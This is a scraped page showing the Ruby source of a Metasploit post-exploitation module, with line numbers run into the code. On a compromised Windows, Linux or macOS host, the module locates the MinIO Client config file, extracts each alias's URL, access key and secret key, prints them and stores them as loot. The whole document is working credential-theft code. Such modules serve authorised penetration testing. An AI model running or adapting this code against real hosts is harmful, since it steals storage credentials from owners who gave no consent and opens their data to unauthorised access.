Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/multi/gather/minio_client.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7def initialize(info = {})8super(9update_info(10info,11'Name' => 'Gather MinIO Client Key',12'Description' => %q{13This is a module that searches for MinIO Client credentials on a windows remote host.14},15'License' => MSF_LICENSE,16'References' => [17[ 'URL', 'https://blog.kali-team.cn/Metasploit-MinIO-Client-7d940c60ae8545aeaa29c96536dda855' ]18],19'Author' => ['Kali-Team <kali-team[at]qq.com>'],20'Platform' => [ 'win', 'linux', 'osx', 'unix' ],21'SessionTypes' => %w[meterpreter powershell shell],22'Notes' => {23'Stability' => [],24'Reliability' => [],25'SideEffects' => []26}27)28)29register_options(30[31OptString.new('CONFIG_PATH', [ false, 'Specifies the config file path for MinIO Client']),32]33)34end3536def parser_minio(config_path)37print_status("Parsing file #{config_path}")38some_result = Hash.new39if file?(config_path)40file_contents = read_file(config_path)41if file_contents.blank?42print_warning('Configuration file content is empty')43return some_result44end45begin46configuration = JSON.parse(file_contents)47if !configuration['aliases'].nil?48some_result = configuration['aliases']49end50rescue JSON::ParserError => e51print_error("Unable to parse configuration:#{e}")52end53else54print_error("Configuration file not found:#{config_path}")55end56return some_result57end5859def print_and_save(all_result)60columns = [61'name',62'url',63'accessKey',64'secretKey',65'api',66'path',67]68tbl = Rex::Text::Table.new(69'Header' => 'MinIO Client Key',70'Columns' => columns71)7273all_result.each do |name, item|74row = [name, item['url'], item['accessKey'], item['secretKey'], item['api'], item['path']]75tbl << row76end7778print_line(tbl.to_s)79if tbl.rows.count > 080path = store_loot('host.minio', 'text/plain', session, tbl, 'minio_client.txt', 'MinIO Client Key')81print_good("Session info stored in: #{path}")82end83end8485def get_config_file_path86case session.platform87when 'windows'88home = get_env('USERPROFILE')89return if home.nil?9091config_path = home + '\\mc\\config.json'92return config_path93when 'linux', 'osx', 'unix'94home = get_env('HOME')95return if home.nil?9697config_path = home + '/.mc/config.json'98return config_path99end100end101102def run103# used to grab files for each user on the remote host104config_path = datastore['CONFIG_PATH'] || ''105result = Hash.new106if config_path.empty?107result = parser_minio(get_config_file_path)108else109result = parser_minio(config_path)110end111return if result.empty?112113print_and_save(result)114end115end116117118